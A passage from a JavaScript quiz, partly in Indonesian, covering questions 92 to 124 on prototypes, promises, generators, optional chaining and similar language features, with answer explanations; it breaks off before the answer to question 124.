\n\n---\n\n###### 92. Apa yang akan tampil?\n\n```javascript\nfunction giveLydiaPizza() {\n return 'Here is pizza!';\n}\n\nconst giveLydiaChocolate = () =>\n \"Here's chocolate... now go hit the gym already.\";\n\nconsole.log(giveLydiaPizza.prototype);\nconsole.log(giveLydiaChocolate.prototype);\n```\n\n- A: `{ constructor: ...}` `{ constructor: ...}`\n- B: `{}` `{ constructor: ...}`\n- C: `{ constructor: ...}` `{}`\n- D: `{ constructor: ...}` `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nRegular functions, such as the `giveLydiaPizza` function, have a `prototype` property, which is an object (prototype object) with a `constructor` property. Arrow functions however, such as the `giveLydiaChocolate` function, do not have this `prototype` property. `undefined` gets returned when trying to access the `prototype` property using `giveLydiaChocolate.prototype`.\n\n

\n
\n\n---\n\n###### 93. Apa yang akan tampil?\n\n```javascript\nconst person = {\n name: 'Lydia',\n age: 21,\n};\n\nfor (const [x, y] of Object.entries(person)) {\n console.log(x, y);\n}\n```\n\n- A: `name` `Lydia` and `age` `21`\n- B: `[\"name\", \"Lydia\"]` and `[\"age\", 21]`\n- C: `[\"name\", \"age\"]` and `undefined`\n- D: `Error`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\n`Object.entries(person)` returns an array of nested arrays, containing the keys and objects:\n\n`[ [ 'name', 'Lydia' ], [ 'age', 21 ] ]`\n\nUsing the `for-of` loop, we can iterate over each element in the array, the subarrays in this case. We can destructure the subarrays instantly in the for-of loop, using `const [x, y]`. `x` is equal to the first element in the subarray, `y` is equal to the second element in the subarray.\n\nThe first subarray is `[ \"name\", \"Lydia\" ]`, with `x` equal to `\"name\"`, and `y` equal to `\"Lydia\"`, which get logged.\nThe second subarray is `[ \"age\", 21 ]`, with `x` equal to `\"age\"`, and `y` equal to `21`, which get logged.\n\n

\n
\n\n---\n\n###### 94. Apa yang akan tampil?\n\n```javascript\nfunction getItems(fruitList, ...args, favoriteFruit) {\n return [...fruitList, ...args, favoriteFruit]\n}\n\ngetItems([\"banana\", \"apple\"], \"pear\", \"orange\")\n```\n\n- A: `[\"banana\", \"apple\", \"pear\", \"orange\"]`\n- B: `[[\"banana\", \"apple\"], \"pear\", \"orange\"]`\n- C: `[\"banana\", \"apple\", [\"pear\"], \"orange\"]`\n- D: `SyntaxError`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\n`...args` is a rest parameter. The rest parameter's value is an array containing all remaining arguments, **and can only be the last parameter**! In this example, the rest parameter was the second parameter. This is not possible, and will throw a syntax error.\n\n```javascript\nfunction getItems(fruitList, favoriteFruit, ...args) {\n return [...fruitList, ...args, favoriteFruit];\n}\n\ngetItems(['banana', 'apple'], 'pear', 'orange');\n```\n\nThe above example works. This returns the array `[ 'banana', 'apple', 'orange', 'pear' ]`\n\n

\n
\n\n---\n\n###### 95. Apa yang akan tampil?\n\n```javascript\nfunction nums(a, b) {\n if (a > b) console.log('a is bigger');\n else console.log('b is bigger');\n return;\n a + b;\n}\n\nconsole.log(nums(4, 2));\nconsole.log(nums(1, 2));\n```\n\n- A: `a is bigger`, `6` and `b is bigger`, `3`\n- B: `a is bigger`, `undefined` and `b is bigger`, `undefined`\n- C: `undefined` and `undefined`\n- D: `SyntaxError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nIn JavaScript, we don't _have_ to write the semicolon (`;`) explicitly, however the JavaScript engine still adds them after statements. This is called **Automatic Semicolon Insertion**. A statement can for example be variables, or keywords like `throw`, `return`, `break`, etc.\n\nHere, we wrote a `return` statement, and another value `a + b` on a _new line_. However, since it's a new line, the engine doesn't know that it's actually the value that we wanted to return. Instead, it automatically added a semicolon after `return`. You could see this as:\n\n```javascript\nreturn;\na + b;\n```\n\nThis means that `a + b` is never reached, since a function stops running after the `return` keyword. If no value gets returned, like here, the function returns `undefined`. Note that there is no automatic insertion after `if/else` statements!\n\n

\n
\n\n---\n\n###### 96. Apa yang akan tampil?\n\n```javascript\nclass Person {\n constructor() {\n this.name = 'Lydia';\n }\n}\n\nPerson = class AnotherPerson {\n constructor() {\n this.name = 'Sarah';\n }\n};\n\nconst member = new Person();\nconsole.log(member.name);\n```\n\n- A: `\"Lydia\"`\n- B: `\"Sarah\"`\n- C: `Error: cannot redeclare Person`\n- D: `SyntaxError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nKita dapat mengatur kelas yang sama dengan kelas / fungsi konstruktor lainnya. Dalam kasus ini, kita mengatur `Person` sama dengan `AnotherPerson`. Nama pada konstruktor ini adalah `Sarah`, jadi nama properti yang baru pada `Person` instance `member` adalah `\"Sarah\"`.\n\n

\n
\n\n---\n\n###### 97. Apa yang akan tampil?\n\n```javascript\nconst info = {\n [Symbol('a')]: 'b',\n};\n\nconsole.log(info);\nconsole.log(Object.keys(info));\n```\n\n- A: `{Symbol('a'): 'b'}` and `[\"{Symbol('a')\"]`\n- B: `{}` and `[]`\n- C: `{ a: \"b\" }` and `[\"a\"]`\n- D: `{Symbol('a'): 'b'}` and `[]`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nSimbol bukanlah merupakan suatu _enumerable_. Metode Object.keys akan mengembalikan semua properti kunci _enumerable_ pada sebuah objek. Simbol tidak akan terlihat, dan array kosong dikembalikan. Saat mencatat seluruh objek, semua properti akan terlihat, bahkan yang bukan non-enumerable.\n\nIni adalah salah satu dari banyak kualitas simbol: Disamping selain mewakili nilai yang sepenuhnya unik (yang mencegah terjadinya benturan nama yang tidak disengaja pada objek, misalnya saat bekerja dengan 2 library yang ingin menambahkan properti ke objek yang sama), anda juga dapat \"menyembunyikan\" properti pada objek dengan cara ini (meskipun tidak seluruhnya. Anda masih dapat mengakses simbol menggunakan metode `Object.getOwnPropertySymbols()`).\n\n

\n
\n\n---\n\n###### 98. Apa yang akan tampil?\n\n```javascript\nconst getList = ([x, ...y]) => [x, y]\nconst getUser = user => { name: user.name, age: user.age }\n\nconst list = [1, 2, 3, 4]\nconst user = { name: \"Lydia\", age: 21 }\n\nconsole.log(getList(list))\nconsole.log(getUser(user))\n```\n\n- A: `[1, [2, 3, 4]]` and `undefined`\n- B: `[1, [2, 3, 4]]` and `{ name: \"Lydia\", age: 21 }`\n- C: `[1, 2, 3, 4]` and `{ name: \"Lydia\", age: 21 }`\n- D: `Error` and `{ name: \"Lydia\", age: 21 }`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nFungsi `getList` menerima array sebagai argumennya. Di antara tanda kurung pada fungsi `getList`, Kita akan menstruktur ulang. Anda dapat melihat ini sebagai:\n\n`[x, ...y] = [1, 2, 3, 4]`\n\nDengan parameter sisa `...y`, kita akan meletakkan semua argumen \"yang tersisa\" dalam array. Dalam kasus ini argumen yang tersisa adalah `2`, `3` dan `4`. Nilai dari `y` merupakan suatu array, yang berisi semua parameter lainnya. Pada kasus ini nilai dari `x` sama dengan `1`, jadi saat kita mencatat `[x, y]`, maka catatannya `[1, [2, 3, 4]]`.\n\nFungsi `getUser` menerima sebuah objek. Dengan fungsi tanda panah, kita tidak _perlu_ menulis tanda kurung kurawal jika hanya mengembalikan satu nilai. Namun, jika anda mengembalikan nilai _object_ dari fungsi tanda panah, Anda harus menuliskannya di antara tanda kurung, jika tidak maka tidak ada nilai yang dikembalikan! Fungsi berikut akan mengembalikan sebuah objek:\n\n`const getUser = user => ({ name: user.name, age: user.age })`\n\nKarena tidak ada nilai yang dikembalikan dalam kasus ini, maka fungsi akan mengembalikan `undefined`.\n\n

\n
\n\n---\n\n###### 99. Apa yang akan tampil?\n\n```javascript\nconst name = 'Lydia';\n\nconsole.log(name());\n```\n\n- A: `SyntaxError`\n- B: `ReferenceError`\n- C: `TypeError`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nVariabel `name` menyimpan nilai string, yang bukan merupakan suatu fungsi, sehingga tidak dapat dipanggil.\n\nTypeErrors dilemparkan ketika nilai yang didapatkan bukan dari jenis yang kita harapkan. JavaScript mengharapkan `name` menjadi sebuah fungsi karena kita mencoba untuk memanggilnya. Namun itu adalah sebuah string, sehingga akan muncul TypeError gets thrown: name is not a function!\n\nSyntaxErrors muncul ketika anda salah menulis suatu Javascript, seperti `return` menjadi `retrun`.\nReferenceErrors muncul ketika JavaScript tidak dapat menemukan nilai referensi ke nilai yang anda coba akses.\n\n

\n
\n\n---\n\n###### 100. What's the value of output?\n\n```javascript\n// 🎉✨ This is my 100th question! ✨🎉\n\nconst output = `${[] && 'Im'}possible!\nYou should${'' && `n't`} see a therapist after so much JavaScript lol`;\n```\n\n- A: `possible! You should see a therapist after so much JavaScript lol`\n- B: `Impossible! You should see a therapist after so much JavaScript lol`\n- C: `possible! You shouldn't see a therapist after so much JavaScript lol`\n- D: `Impossible! You shouldn't see a therapist after so much JavaScript lol`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\n`[]` is a truthy value. With the `&&` operator, the right-hand value will be returned if the left-hand value is a truthy value. In this case, the left-hand value `[]` is a truthy value, so `\"Im'` gets returned.\n\n`\"\"` is a falsy value. If the left-hand value is falsy, nothing gets returned. `n't` doesn't get returned.\n\n

\n
\n\n---\n\n###### 101. What's the value of output?\n\n```javascript\nconst one = false || {} || null;\nconst two = null || false || '';\nconst three = [] || 0 || true;\n\nconsole.log(one, two, three);\n```\n\n- A: `false` `null` `[]`\n- B: `null` `\"\"` `true`\n- C: `{}` `\"\"` `[]`\n- D: `null` `null` `true`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWith the `||` operator, we can return the first truthy operand. If all values are falsy, the last operand gets returned.\n\n`(false || {} || null)`: the empty object `{}` is a truthy value. This is the first (and only) truthy value, which gets returned. `one` is equal to `{}`.\n\n`(null || false || \"\")`: all operands are falsy values. This means that the past operand, `\"\"` gets returned. `two` is equal to `\"\"`.\n\n`([] || 0 || \"\")`: the empty array`[]` is a truthy value. This is the first truthy value, which gets returned. `three` is equal to `[]`.\n\n

\n
\n\n---\n\n###### 102. What's the value of output?\n\n```javascript\nconst myPromise = () => Promise.resolve('I have resolved!');\n\nfunction firstFunction() {\n myPromise().then(res => console.log(res));\n console.log('second');\n}\n\nasync function secondFunction() {\n console.log(await myPromise());\n console.log('second');\n}\n\nfirstFunction();\nsecondFunction();\n```\n\n- A: `I have resolved!`, `second` and `I have resolved!`, `second`\n- B: `second`, `I have resolved!` and `second`, `I have resolved!`\n- C: `I have resolved!`, `second` and `second`, `I have resolved!`\n- D: `second`, `I have resolved!` and `I have resolved!`, `second`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nWith a promise, we basically say _I want to execute this function, but I'll put it aside for now while it's running since this might take a while. Only when a certain value is resolved (or rejected), and when the call stack is empty, I want to use this value._\n\nWe can get this value with both `.then` and the `await` keyword in an `async` function. Although we can get a promise's value with both `.then` and `await`, they work a bit differently.\n\nIn the `firstFunction`, we (sort of) put the myPromise function aside while it was running, but continued running the other code, which is `console.log('second')` in this case. Then, the function resolved with the string `I have resolved`, which then got logged after it saw that the callstack was empty.\n\nWith the await keyword in `secondFunction`, we literally pause the execution of an async function until the value has been resolved befoer moving to the next line.\n\nThis means that it waited for the `myPromise` to resolve with the value `I have resolved`, and only once that happened, we moved to the next line: `second` got logged.\n\n

\n
\n\n---\n\n###### 103. What's the value of output?\n\n```javascript\nconst set = new Set();\n\nset.add(1);\nset.add('Lydia');\nset.add({ name: 'Lydia' });\n\nfor (let item of set) {\n console.log(item + 2);\n}\n```\n\n- A: `3`, `NaN`, `NaN`\n- B: `3`, `7`, `NaN`\n- C: `3`, `Lydia2`, `[object Object]2`\n- D: `\"12\"`, `Lydia2`, `[object Object]2`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nThe `+` operator is not only used for adding numerical values, but we can also use it to concatenate strings. Whenever the JavaScript engine sees that one or more values are not a number, it coerces the number into a string.\n\nThe first one is `1`, which is a numerical value. `1 + 2` returns the number 3.\n\nHowever, the second one is a string `\"Lydia\"`. `\"Lydia\"` is a string and `2` is a number: `2` gets coerced into a string. `\"Lydia\"` and `\"2\"` get concatenated, which results in the string `\"Lydia2\"`.\n\n`{ name: \"Lydia\" }` is an object. Neither a number nor an object is a string, so it stringifies both. Whenever we stringify a regular object, it becomes `\"[object Object]\"`. `\"[object Object]\"` concatenated with `\"2\"` becomes `\"[object Object]2\"`.\n\n

\n
\n\n---\n\n###### 104. What's its value?\n\n```javascript\nPromise.resolve(5);\n```\n\n- A: `5`\n- B: `Promise {: 5}`\n- C: `Promise {: 5}`\n- D: `Error`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWe can pass any type of value we want to `Promise.resolve`, either a promise or a non-promise. The method itself returns a promise with the resolved value (``). If you pass a regular function, it'll be a resolved promise with a regular value. If you pass a promise, it'll be a resolved promise with the resolved value of that passed promise.\n\nIn this case, we just passed the numerical value `5`. It returns a resolved promise with the value `5`.\n\n

\n
\n\n---\n\n###### 105. What's its value?\n\n```javascript\nfunction compareMembers(person1, person2 = person) {\n if (person1 !== person2) {\n console.log('Not the same!');\n } else {\n console.log('They are the same!');\n }\n}\n\nconst person = { name: 'Lydia' };\n\ncompareMembers(person);\n```\n\n- A: `Not the same!`\n- B: `They are the same!`\n- C: `ReferenceError`\n- D: `SyntaxError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nObjects are passed by reference. When we check objects for strict equality (`===`), we're comparing their references.\n\nWe set the default value for `person2` equal to the `person` object, and passed the `person` object as the value for `person1`.\n\nThis means that both values have a reference to the same spot in memory, thus they are equal.\n\nThe code block in the `else` statement gets run, and `They are the same!` gets logged.\n\n

\n
\n\n---\n\n###### 106. What's its value?\n\n```javascript\nconst colorConfig = {\n red: true,\n blue: false,\n green: true,\n black: true,\n yellow: false,\n};\n\nconst colors = ['pink', 'red', 'blue'];\n\nconsole.log(colorConfig.colors[1]);\n```\n\n- A: `true`\n- B: `false`\n- C: `undefined`\n- D: `TypeError`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nIn JavaScript, we have two ways to access properties on an object: bracket notation, or dot notation. In this example, we use dot notation (`colorConfig.colors`) instead of bracket notation (`colorConfig[\"colors\"]`).\n\nWith dot notation, JavaScript tries to find the property on the object with that exact name. In this example, JavaScript tries to find a property called `colors` on the `colorConfig` object. There is no proprety called `colors`, so this returns `undefined`. Then, we try to access the value of the first element by using `[1]`. We cannot do this on a value that's `undefined`, so it throws a `TypeError`: `Cannot read property '1' of undefined`.\n\nJavaScript interprets (or unboxes) statements. When we use bracket notation, it sees the first opening bracket `[` and keeps going until it finds the closing bracket `]`. Only then, it will evaluate the statement. If we would've used `colorConfig[colors[1]]`, it would have returned the value of the `red` property on the `colorConfig` object.\n\n

\n
\n\n---\n\n###### 107. Apakah hasil nilai dibawah ini ?\n\n```javascript\nconsole.log('❤️' === '❤️');\n```\n\n- A: `true`\n- B: `false`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nDi belakang layar, emoji adalah sebuah unicode. Unicode untuk emoji hati adalah `\"U+2764 U+FE0F\"`. Keduanya akan selalu sama untuk emoji yang sama, jadi sebetulnya kita telah membandingkan dua string yang sama satu sama lain, yang mana akan menghasilkan true.\n\n

\n
\n\n---\n\n###### 108. Manakah metode berikut yang akan memodifikasi array aslinya?\n\n```javascript\nconst emojis = [\"✨\", \"🥑\", \"😍\"];\n\nemojis.map((x) => x + \"✨\");\nemojis.filter((x) => x !== \"🥑\");\nemojis.find((x) => x !== \"🥑\");\nemojis.reduce((acc, cur) => acc + \"✨\");\nemojis.slice(1, 2, \"✨\");\nemojis.splice(1, 2, \"✨\");\n```\n\n- A: `All of them`\n- B: `map` `reduce` `slice` `splice`\n- C: `map` `slice` `splice`\n- D: `splice`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nMetode `splice`, akan memodifikasi array aslinya dengan cara menghapus, mengganti atau menambahkan elemen. Dalam kasus ini, kami menghapus 2 item dari indeks 1 (kami menghapus `'🥑'` dan`' 😍'`) dan menambahkan emoji ✨ sebagai penggantinya.\n\n`map`,` filter` dan `slice` akan mengembalikan array baru,` find` akan mengembalikan elemen yang dicari, dan `reduce` akan mengembalikan nilai yang telah dikurangi.\n\n

\n
\n\n---\n\n###### 109. Apa yang akan tampil?\n\n```javascript\nconst food = ['🍕', '🍫', '🥑', '🍔'];\nconst info = { favoriteFood: food[0] };\n\ninfo.favoriteFood = '🍝';\n\nconsole.log(food);\n```\n\n- A: `['🍕', '🍫', '🥑', '🍔']`\n- B: `['🍝', '🍫', '🥑', '🍔']`\n- C: `['🍝', '🍕', '🍫', '🥑', '🍔']`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nWe set the value of the `favoriteFood` property on the `info` object equal to the string with the pizza emoji, `'🍕'`. A string is a primitive data type. In JavaScript, primitive data types act by reference\n\nIn JavaScript, primitive data types (everything that's not an object) interact by _value_. In this case, we set the value of the `favoriteFood` property on the `info` object equal to the value of the first element in the `food` array, the string with the pizza emoji in this case (`'🍕'`). A string is a primitive data type, and interact by value (see my [blogpost](https://www.theavocoder.com/complete-javascript/2018/12/21/by-value-vs-by-reference) if you're interested in learning more)\n\nThen, we change the value of the `favoriteFood` property on the `info` object. The `food` array hasn't changed, since the value of `favoriteFood` was merely a _copy_ of the value of the first element in the array, and doesn't have a reference to the same spot in memory as the element on `food[0]`. When we log food, it's still the original array, `['🍕', '🍫', '🥑', '🍔']`.\n\n

\n
\n\n---\n\n###### 110. What does this method do?\n\n```javascript\nJSON.parse();\n```\n\n- A: Parses JSON to a JavaScript value\n- B: Parses a JavaScript object to JSON\n- C: Parses any JavaScript value to JSON\n- D: Parses JSON to a JavaScript object only\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nWith the `JSON.parse()` method, we can parse JSON string to a JavaScript value.\n\n```javascript\n// Stringifying a number into valid JSON, then parsing the JSON string to a JavaScript value:\nconst jsonNumber = JSON.stringify(4); // '4'\nJSON.parse(jsonNumber); // 4\n\n// Stringifying an array value into valid JSON, then parsing the JSON string to a JavaScript value:\nconst jsonArray = JSON.stringify([1, 2, 3]); // '[1, 2, 3]'\nJSON.parse(jsonArray); // [1, 2, 3]\n\n// Stringifying an object into valid JSON, then parsing the JSON string to a JavaScript value:\nconst jsonArray = JSON.stringify({ name: 'Lydia' }); // '{\"name\":\"Lydia\"}'\nJSON.parse(jsonArray); // { name: 'Lydia' }\n```\n\n

\n
\n\n---\n\n###### 111. Apa yang akan tampil?\n\n```javascript\nlet name = 'Lydia';\n\nfunction getName() {\n console.log(name);\n let name = 'Sarah';\n}\n\ngetName();\n```\n\n- A: Lydia\n- B: Sarah\n- C: `undefined`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nEach function has its own _execution context_ (or _scope_). The `getName` function first looks within its own context (scope) to see if it contains the variable `name` we're trying to access. In this case, the `getName` function contains its own `name` variable: we declare the variable `name` with the `let` keyword, and with the value of `'Sarah'`.\n\nVariables with the `let` keyword (and `const`) are hoisted, but unlike `var`, don't get initialized. They are not accessible before the line we declare (initialize) them. This is called the \"temporal dead zone\". When we try to access the variables before they are declared, JavaScript throws a `ReferenceError`.\n\nIf we wouldn't have declared the `name` variable within the `getName` function, the javascript engine would've looked down the _scope chain_. The outer scope has a variable called `name` with the value of `Lydia`. In that case, it would've logged `Lydia`.\n\n```javascript\nlet name = 'Lydia';\n\nfunction getName() {\n console.log(name);\n}\n\ngetName(); // Lydia\n```\n\n

\n
\n\n---\n\n###### 112. Apa yang akan tampil?\n\n```javascript\nfunction* generatorOne() {\n yield ['a', 'b', 'c'];\n}\n\nfunction* generatorTwo() {\n yield* ['a', 'b', 'c'];\n}\n\nconst one = generatorOne();\nconst two = generatorTwo();\n\nconsole.log(one.next().value);\nconsole.log(two.next().value);\n```\n\n- A: `a` and `a`\n- B: `a` and `undefined`\n- C: `['a', 'b', 'c']` and `a`\n- D: `a` and `['a', 'b', 'c']`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWith the `yield` keyword, we `yield` values in a generator function. With the `yield*` keyword, we can yield values from another generator function, or iterable object (for example an array).\n\nIn `generatorOne`, we yield the entire array `['a', 'b', 'c']` using the `yield` keyword. The value of `value` property on the object returned by the `next` method on `one` (`one.next().value`) is equal to the entire array `['a', 'b', 'c']`.\n\n```javascript\nconsole.log(one.next().value); // ['a', 'b', 'c']\nconsole.log(one.next().value); // undefined\n```\n\nIn `generatorTwo`, we use the `yield*` keyword. This means that the first yielded value of `two`, is equal to the first yielded value in the iterator. The iterator is the array `['a', 'b', 'c']`. The first yielded value is `a`, so the first time we call `two.next().value`, `a` is returned.\n\n```javascript\nconsole.log(two.next().value); // 'a'\nconsole.log(two.next().value); // 'b'\nconsole.log(two.next().value); // 'c'\nconsole.log(two.next().value); // undefined\n```\n\n

\n
\n\n---\n\n###### 113. Apa yang akan tampil?\n\n```javascript\nconsole.log(`${(x => x)('I love')} to program`);\n```\n\n- A: `I love to program`\n- B: `undefined to program`\n- C: `${(x => x)('I love') to program`\n- D: `TypeError`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nExpressions within template literals are evaluated first. This means that the string will contain the returned value of the expression, the immediately invoked function `(x => x)('I love')` in this case. We pass the value `'I love'` as an argument to the `x => x` arrow function. `x` is equal to `'I love'`, which gets returned. This results in `I love to program`.\n\n

\n
\n\n---\n\n###### 114. What will happen?\n\n```javascript\nlet config = {\n alert: setInterval(() => {\n console.log('Alert!');\n }, 1000),\n};\n\nconfig = null;\n```\n\n- A: The `setInterval` callback won't be invoked\n- B: The `setInterval` callback gets invoked once\n- C: The `setInterval` callback will still be called every second\n- D: We never invoked `config.alert()`, config is `null`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nNormally when we set objects equal to `null`, those objects get _garbage collected_ as there is no reference anymore to that object. However, since the callback function within `setInterval` is an arrow function (thus bound to the `config` object), the callback function still holds a reference to the `config` object. As long as there is a reference, the object won't get garbage collected. Since it's not garbage collected, the `setInterval` callback function will still get invoked every 1000ms (1s).\n\n

\n
\n\n---\n\n###### 115. Which method(s) will return the value `'Hello world!'`?\n\n```javascript\nconst myMap = new Map();\nconst myFunc = () => 'greeting';\n\nmyMap.set(myFunc, 'Hello world!');\n\n//1\nmyMap.get('greeting');\n//2\nmyMap.get(myFunc);\n//3\nmyMap.get(() => 'greeting');\n```\n\n- A: 1\n- B: 2\n- C: 2 and 3\n- D: All of them\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWhen adding a key/value pair using the `set` method, the key will be the value of the first argument passed to the `set` function, and the value will be the second argument passed to the `set` function. The key is the _function_ `() => 'greeting'` in this case, and the value `'Hello world'`. `myMap` is now `{ () => 'greeting' => 'Hello world!' }`.\n\n1 is wrong, since the key is not `'greeting'` but `() => 'greeting'`.\n3 is wrong, since we're creating a new function by passing it as a parameter to the `get` method. Object interact by _reference_. Functions are objects, which is why two functions are never strictly equal, even if they are identical: they have a reference to a different spot in memory.\n\n

\n
\n\n---\n\n###### 116. Apa yang akan tampil?\n\n```javascript\nconst person = {\n name: 'Lydia',\n age: 21,\n};\n\nconst changeAge = (x = { ...person }) => (x.age += 1);\nconst changeAgeAndName = (x = { ...person }) => {\n x.age += 1;\n x.name = 'Sarah';\n};\n\nchangeAge(person);\nchangeAgeAndName();\n\nconsole.log(person);\n```\n\n- A: `{name: \"Sarah\", age: 22}`\n- B: `{name: \"Sarah\", age: 23}`\n- C: `{name: \"Lydia\", age: 22}`\n- D: `{name: \"Lydia\", age: 23}`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nBoth the `changeAge` and `changeAgeAndName` functions have a default parameter, namely a _newly_ created object `{ ...person }`. This object has copies of all the key/values in the `person` object.\n\nFirst, we invoke the `changeAge` function and pass the `person` object as its argument. This function increases the value of the `age` property by 1. `person` is now `{ name: \"Lydia\", age: 22 }`.\n\nThen, we invoke the `changeAgeAndName` function, however we don't pass a parameter. Instead, the value of `x` is equal to a _new_ object: `{ ...person }`. Since it's a new object, it doesn't affect the values of the properties on the `person` object. `person` is still equal to `{ name: \"Lydia\", age: 22 }`.\n\n

\n
\n\n---\n\n###### 117. Which of the following options will return `6`?\n\n```javascript\nfunction sumValues(x, y, z) {\n return x + y + z;\n}\n```\n\n- A: `sumValues([...1, 2, 3])`\n- B: `sumValues([...[1, 2, 3]])`\n- C: `sumValues(...[1, 2, 3])`\n- D: `sumValues([1, 2, 3])`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWith the spread operator `...`, we can _spread_ iterables to individual elements. The `sumValues` function receives three arguments: `x`, `y` and `z`. `...[1, 2, 3]` will result in `1, 2, 3`, which we pass to the `sumValues` function.\n\n

\n
\n\n---\n\n###### 118. Apa yang akan tampil?\n\n```javascript\nlet num = 1;\nconst list = ['🥳', '🤠', '🥰', '🤪'];\n\nconsole.log(list[(num += 1)]);\n```\n\n- A: `🤠`\n- B: `🥰`\n- C: `SyntaxError`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWith the `+=` operand, we're incrementing the value of `num` by `1`. `num` had the initial value `1`, so `1 + 1` is `2`. The item on the second index in the `list` array is 🥰, `console.log(list[2])` prints 🥰.\n\n

\n
\n\n---\n\n###### 119. Apa yang akan tampil?\n\n```javascript\nconst person = {\n firstName: 'Lydia',\n lastName: 'Hallie',\n pet: {\n name: 'Mara',\n breed: 'Dutch Tulip Hound',\n },\n getFullName() {\n return `${this.firstName} ${this.lastName}`;\n },\n};\n\nconsole.log(person.pet?.name);\nconsole.log(person.pet?.family?.name);\nconsole.log(person.getFullName?.());\nconsole.log(member.getLastName?.());\n```\n\n- A: `undefined` `undefined` `undefined` `undefined`\n- B: `Mara` `undefined` `Lydia Hallie` `undefined`\n- C: `Mara` `null` `Lydia Hallie` `null`\n- D: `null` `ReferenceError` `null` `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWith the optional chaining operator `?.`, we no longer have to explicitly check whether the deeper nested values are valid or not. If we're trying to access a property on an `undefined` or `null` value (_nullish_), the expression short-circuits and returns `undefined`.\n\n`person.pet?.name`: `person` has a property named `pet`: `person.pet` is not nullish. It has a property called `name`, and returns `Mara`.\n`person.pet?.family?.name`: `person` has a property named `pet`: `person.pet` is not nullish. `pet` does _not_ have a property called `family`, `person.pet.family` is nullish. The expression returns `undefined`.\n`person.getFullName?.()`: `person` has a property named `getFullName`: `person.getFullName()` is not nullish and can get invoked, which returns `Lydia Hallie`.\n`member.getLastName?.()`: `member` is not defined: `member.getLastName()` is nullish. The expression returns `undefined`.\n\n

\n
\n\n---\n\n###### 120. Apa yang akan tampil?\n\n```javascript\nconst groceries = ['banana', 'apple', 'peanuts'];\n\nif (groceries.indexOf('banana')) {\n console.log('We have to buy bananas!');\n} else {\n console.log(`We don't have to buy bananas!`);\n}\n```\n\n- A: We have to buy bananas!\n- B: We don't have to buy bananas\n- C: `undefined`\n- D: `1`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWe passed the condition `groceries.indexOf(\"banana\")` to the if-statement. `groceries.indexOf(\"banana\")` returns `0`, which is a falsy value. Since the condition in the if-statement is falsy, the code in the `else` block runs, and `We don't have to buy bananas!` gets logged.\n\n

\n
\n\n---\n\n###### 121. Apa yang akan tampil?\n\n```javascript\nconst config = {\n languages: [],\n set language(lang) {\n return this.languages.push(lang);\n },\n};\n\nconsole.log(config.language);\n```\n\n- A: `function language(lang) { this.languages.push(lang }`\n- B: `0`\n- C: `[]`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nThe `language` method is a `setter`. Setters don't hold an actual value, their purpose is to _modify_ properties. When calling a `setter` method, `undefined` gets returned.\n\n

\n
\n\n---\n\n###### 122. Apa yang akan tampil?\n\n```javascript\nconst name = 'Lydia Hallie';\n\nconsole.log(!typeof name === 'object');\nconsole.log(!typeof name === 'string');\n```\n\n- A: `false` `true`\n- B: `true` `false`\n- C: `false` `false`\n- D: `true` `true`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\n`typeof name` returns `\"string\"`. The string `\"string\"` is a truthy value, so `!typeof name` returns the boolean value `false`. `false === \"object\"` and `false === \"string\"` both return`false`.\n\n(If we wanted to check whether the type was (un)equal to a certain type, we should've written `!==` instead of `!typeof`)\n\n

\n
\n\n---\n\n###### 123. Apa yang akan tampil?\n\n```javascript\nconst add = x => y => z => {\n console.log(x, y, z);\n return x + y + z;\n};\n\nadd(4)(5)(6);\n```\n\n- A: `4` `5` `6`\n- B: `6` `5` `4`\n- C: `4` `function` `function`\n- D: `undefined` `undefined` `6`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nThe `add` function returns an arrow function, which returns an arrow function, which returns an arrow function (still with me?). The first function receives an argument `x` with the value of `4`. We invoke the second function, which receives an argument `y` with the value `5`. Then we invoke the third function, which receives an argument `z` with the value `6`. When we're trying to access the value `x`, `y` and `z` within the last arrow function, the JS engine goes up the scope chain in order to find the values for `x` and `y` accordingly. This returns `4` `5` `6`.\n\n

\n
\n\n---\n\n###### 124. Apa yang akan tampil?\n\n```javascript\nasync function* range(start, end) {\n for (let i = start; i <= end; i++) {\n yield Promise.resolve(i);\n }\n}\n\n(async () => {\n const gen = range(1, 3);\n for await (const item of gen) {\n console.log(item);\n }\n})();\n```\n\n- A: `Promise {1}` `Promise {2}` `Promise {3}`\n- B: `Promise {}` `Promise {}` `Promise {}`\n- C: `1` `2` `3`\n- D: `undefined` `undefined` `undefined`\n\n
Jawaban\n

